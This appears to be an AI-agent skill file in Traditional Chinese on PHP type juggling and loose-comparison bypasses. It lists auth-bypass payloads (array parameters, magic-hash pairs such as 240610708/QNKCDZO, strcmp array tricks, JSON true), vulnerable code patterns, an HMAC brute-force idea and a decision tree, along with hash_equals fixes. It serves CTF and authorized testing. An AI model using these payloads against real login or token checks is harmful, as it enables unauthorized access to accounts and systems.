PHP 型態轉譯(Type Juggling)與弱型別比較(`==`)繞過技巧。適用於身份驗證、HMAC / 簽章檢查或 Token 驗證採用鬆散相等比較、數值強制轉換,或未指定嚴格型別的雜湊比較場景——常見於舊版 PHP 程式碼與 CTF 題目中。
SKILL: PHP Type Juggling — 弱型別比較與 Magic Hash 繞過
AI 載入指令:包含 PHP
==型態強制轉換、Magic Hash(0e…)、HMAC / 雜湊鬆散檢查、異常型態回傳 NULL,以及 CTF 風格的strcmp/json_decode/intval技巧。使用嚴格路由:比對 Sink(==vshash_equals)、PHP 主要版本,以及兩個運算子是否皆受攻擊者控制。路由說明:當遇到 PHP 登入 / 簽章邏輯或類似md5($_GET['x'])==md5($_GET['y'])的程式碼時,請優先採用此 Skill;若已使用hash_equals/===,則此路徑通常不適用。
0. 快速入門 (QUICK START)
首波測試目標:證明伺服器端分支會因為型態強制轉換而將不相等的機密/Token 判定為相等,而非去盲猜真實密碼。
首波測試 Payload(身份驗證 / Token 結構)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最簡 PHP 探測腳本(本地或實驗室中的 php -r)
<?php
// 鬆散比較探測 — 儘可能在目標的 PHP 主要版本中執行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
路由提示 (Routing hints)
| 線索 | 下一步 |
|---|---|
原始碼使用 == 比較密碼、Token 或 HMAC 值 |
請參閱第 1-3 節 |
md5($a) == md5($b) 或鬆散 sha1 比較 |
第 2 節 Magic Hash |
hash_hmac(...) != '0' 或與 "0" 比較 |
第 3 節 |
strcmp、json_decode(..., true)、intval |
第 5 節 |
1. 鬆散比較 (==) — 真值表與版本差異
除非對機密資料使用 === 或 hash_equals(),否則 PHP 會在比較運算子兩端進行型態轉譯(Type Juggling)。
1.1 核心範例(字串 vs 數字)
| 運算式 | 結果 | 機制說明 (簡述) |
|---|---|---|
'0010e2' == '1e3' |
true | 兩個字串看起來都像數字 → 被當作浮點數比較;兩者皆解析為 1000.0(非 0 — 常見考試陷阱;真正的「兩者皆為 0」請見下一列) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' |
true | 兩者在科學記號下皆解析為 0.0 |
'123a' == 123 |
true | 字串轉整數時遇到第一個非數字字元即停止 → 解析為 123 |
'abc' == 0 |
true (PHP 7.x 及更早版本) | 非數值字串與整數比較 → 字串轉換為 0 |
'' == 0 |
true | 空字串 → 0 |
'' == false |
true | 兩者在鬆散規則下皆為「falsy(假值)」 |
false == NULL |
true | 鬆散相等 |
0 == false |
true | 鬆散相等 |
'' == 0 == false == NULL |
true (鏈式) | 在 == 下每個相鄰對皆為 true(''==0, 0==false, false==NULL)— 經典的「假值」鏈 |
'0' == false |
true | 字串 '0' 是唯一在布林比較中被判定為 false 的非空字串 |
'php' == 0 |
false (PHP 8+) | PHP 8:非數值字串不再等於 0 |
1.2 PHP 5 vs 7 vs 8 (高信號差異)
| 主題 | PHP 5.x / 7.x (典型行為) | PHP 8.0+ |
|---|---|---|
0 == "foo" |
true (字串轉為 0) | false |
"123a" 的字串轉數字 |
在許多 == 路徑中進行 (int) / 數值比較時仍會截斷 |
數值字串邏輯相同;非數值字串 vs 整數已修復如上所述 |
md5([]) / sha1([]) |
在較舊模式下可能跳出警告 / 表現出類似 NULL 的行為 |
傳入錯誤型態會拋出 TypeError — 除非例外處理被收攏為 NULL,否則會使經典的 [] 繞過失效 |
測試者要點:務必從 HTTP 表頭(Header)、X-Powered-By 或指紋特徵中確認 PHP 版本;在 PHP 7 可執行的 Payload 可能在 PHP 8 上失敗。
1.3 安全替代方案(防禦 / 驗證)
hash_equals((string)$expected, (string)$actual); // 時間安全 (timing-safe)、嚴格字串比較
// 或
$expected === $actual;
2. MAGIC HASHES (0e… + 純數字)
當兩端皆為符合 ^0e[0-9]+$ 的 Hex 外觀雜湊字串 時,PHP 會將它們視為科學記號表示的浮點數 → 數值為 0.0。此時即使雜湊值在字串層面不同,md5(A) == md5(B) 仍會回傳 true。
2.1 參考對照表(MD5 / SHA-1 及更長演算法)
| 演算法 | 輸入範例 | 雜湊值(以 0e 開頭 + 全十進位數字) |
|---|---|---|
| MD5 | 240610708 |
0e462097431906509019562988736854 |
| MD5 | QNKCDZO |
0e830400451993494058024219903391 |
| SHA-1 | 10932435112 |
0e07766915004133176347055865026311692244 |
| SHA-224 | (爆破 / 預計算) | 範例形式:0e + 純十進位數字 → 與另一個同類字串透過 == 比較結果為 true |
| SHA-256 | (爆破 / 預計算) | 同樣模式:只有符合 ^0e\d+$ 的字串會在 == 下發生碰撞 |
運作原理:md5('240610708') == md5('QNKCDZO') → 兩端皆符合 ^0e[0-9]+$ → 皆被解析為 0.0 == 0.0 → true。
2.2 程式碼中的漏洞模式
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// 原意:不同的字串,相同的 md5 (對 md5 而言不可能)
// 實際:兩個不同的字串,其*雜湊值*剛好都是 Magic Hash
}
2.3 Payload 構想(雙值尋找)
?a=240610708&b=QNKCDZO
對於 SHA-224/256,請視為搜尋問題:持續爆破輸入值,直到產生的雜湊符合 ^0e\d+$;將兩個不同的輸入配對。雜湊越長越難爆破;上述 MD5/SHA1 範例為最常見的教材範例。
3. HMAC 繞過(鬆散比較 vs "0" 或 0)
若邏輯對常數使用了鬆散不相等比較:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// 或 == 0, == false,搭配字串 "0e..." 等
爆破 $data(例如時間戳記、Nonce、計數器),直到 hash_hmac 的輸出符合 ^0e[0-9]+$(針對 MD5 輸出)或符合程式碼特定的鬆散規則 — 屆時該雜湊在 == 下便可能被判定等於 0 或等於另一個 Magic 摘要。
範例(數值訊息的 MD5 風格 0e 摘要)
| 概念 | 範例 |
|---|---|
| 訊息類型 | Unix 時間戳記、遞增 ID、毫秒時鐘 |
| 時間戳記爆破模式 | 教材有時會引用 1539805986 → 0e772967136366835494939987377058 作為 Magic Hash 風格 的範例;但在原生 PHP 中 md5('1539805986') 並不會產生該摘要 — 請理解其核心概念(掃描時間戳記 / 計數器直到輸出符合 ^0e[0-9]+$),且務必針對目標程式碼中的確切函式 + 金鑰進行驗證。 |
| 目標 | 找出 $data 使 hash_hmac('md5', $data, $key) 符合 ^0e[0-9]+$ |
| 注意事項 | 在不知道 $key 的情況下,若甲方的 Oracle 能顯現演算法 / 輸出,仍可爆破 $data;CTF 題目則經常洩漏或固定 Key |
# 概念性程式碼:嘗試多個時間戳記
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
修復建議:使用 hash_equals($mac, $expected) + 固定長度的 Hex/二進位編碼;切勿將 HMAC 與裸字串 "0" 進行比較。
4. NULL 轉譯(陣列與型態錯誤)
無效的型態可能在被比較的其中一側產生 NULL;與另一個 NULL 或經強轉的值進行鬆散比較時可能會通過。
| 呼叫方式 | 典型 PHP 7/8 行為 |
|---|---|
md5([]) |
PHP 8:TypeError;較舊版本:發出 Warning /跨版本行為不可靠 |
sha1([]) |
同上 |
| 核心思路 | 若錯誤處理常式或自訂封裝將失敗轉換為 NULL,且另一側亦為 NULL,則 NULL == NULL 或 NULL == sha1("x") 便會成立 |
// CTF / 有缺陷程式碼的心智模型:
@sha1($_GET['x']) == @sha1($_GET['y']); // 若兩者皆因錯誤回傳 NULL → true
實際審查:尋找 @ 錯誤抑制符號、將雜湊設為 null 的自訂 try/catch,或在需要字串處傳入使用者輸入的情形。
5. CTF 常見模式
5.1 搭配陣列使用 strcmp / strcasecmp
strcmp([], "password"); // PHP 7/8 中回傳 NULL(無效參數)
// 若程式碼寫成如下形式,NULL == 0 在鬆散比較下結果為 true:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
?p[]=1
5.2 intval 繞過
// 十六進位:進位基數為 0 時,PHP 會解析 0x 前綴(依版本而定;務必驗證)
intval("0x1A", 0); // → 26
// 八進位:進位基數為 0 時,字串開頭的 0 會被解析為八進位
intval("010", 0); // → 8 (經典教學範例;請在目標 PHP 上確認)
// 科學記號:單獨使用 intval() 會在 'e' 處停止;需先轉型為 float
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true 搭配關聯陣列驗證
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字串" 通常為 true — 請參閱 PHP 鬆散比較規則
5.4 is_numeric + 鬆散比較
is_numeric("0e12345"); // true
"0e12345" == 0; // true (科學記號 → 0.0)
5.5 反序列化 + 魔術屬性 (Magic properties)
將使用者輸入反序列化(Unserialize)為物件,其 __toString 或屬性會傳入 md5($obj) 或進行鬆散比較 — 可結合屬性上的 Magic Hash 字串(CTF 常用)。在雜湊 == 比較附近尋找 unserialize($_…)。
6. 決策樹
+------------------+
| PHP 鬆散比較 |
| 或 hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| 使用 === 或 | | 使用 == 或 |
| hash_equals | | strcmp == 0 |
+------+------+ +------+------+
| |
停止 (通常不適用) +-----v-----+
| 運算子 |
| 型態? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| 兩者皆為 | | 一個 int | | 雜湊摘要 |
| 數值字串0e… | | 一個字串 | | 兩者皆 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH 字串 / INT MAGIC HASH
碰撞 型態轉譯 (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
爆破 $data
以求得 0e… 摘要
|
+------v------+
| 陣列 / |
| json true / |
| strcmp([]) |
+-------------+
工具參考
| 工具 | 用途 |
|---|---|
本地 php CLI |
重現目標主要版本的 == 行為 |
| 靜態程式碼審查 (Static code review) | 在密碼學輸出上 Grep 搜尋 ==、!=;找出缺少的 hash_equals |
| CTF 框架 | 用於 Magic Hash 與 0e 搜尋的 Payload 產生器 |
安全性與範圍說明:本 Skill 僅可用於獲得授權的目標(CTF、實驗室、書面授權)。本內容旨在解釋用於防禦與評估的語言語意,非無授權攻擊系統的許可。






